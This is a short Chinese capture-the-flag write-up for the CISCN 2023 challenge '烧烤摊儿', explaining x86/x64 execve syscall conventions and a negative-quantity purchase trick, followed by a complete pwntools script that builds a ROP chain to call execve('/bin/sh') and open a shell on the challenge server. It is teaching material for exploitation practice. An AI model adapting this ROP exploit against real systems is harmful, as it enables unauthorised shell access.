PWN入门-ret2syscall做题

[CISCN 2023 初赛]烧烤摊儿

x86下syscall的中断方法为int 0x80,x64下为syscall

在x86下execve的系统调用号为0x0B,保存在eax,传参分别在ebxecxedx

在x64下execve的系统调用号为0x3B,保存在rax,传参分别在rdirsirdx

这道题是x64。

至于钱不够可以买负数瓶啤酒。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p=remote('node4.anna.nssctf.cn',28543)
elf=ELF('./attachment')
rop=ROP(elf)
p.recvuntil('> ')
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'-999999')
p.recvuntil('> ')
p.sendline(b'4')
p.recvuntil('> ')
p.sendline(b'5')
shellcode=b'/bin/sh\x00'
padding=cyclic(0x20)
pop_rax_ret=p64(rop.find_gadget(['pop rax','ret'])[0])
int_num=p64(0x3B)
pop_rdi_ret=p64(rop.find_gadget(['pop rdi','ret'])[0])
shellcode_addr=p64(elf.symbols['name'])
pop_rsi_ret=p64(rop.find_gadget(['pop rsi','ret'])[0])
value_zero=p64(0)
pop_rdx_pop_rbx_ret=p64(rop.find_gadget(['pop rdx','pop rbx','ret'])[0])
syscall80_addr=p64(rop.find_gadget(['syscall'])[0])
payload1=flat([shellcode,padding,pop_rax_ret,int_num,pop_rdi_ret,shellcode_addr,pop_rsi_ret,value_zero,pop_rdx_pop_rbx_ret,value_zero,value_zero,syscall80_addr])
p.sendline(payload1)
p.interactive()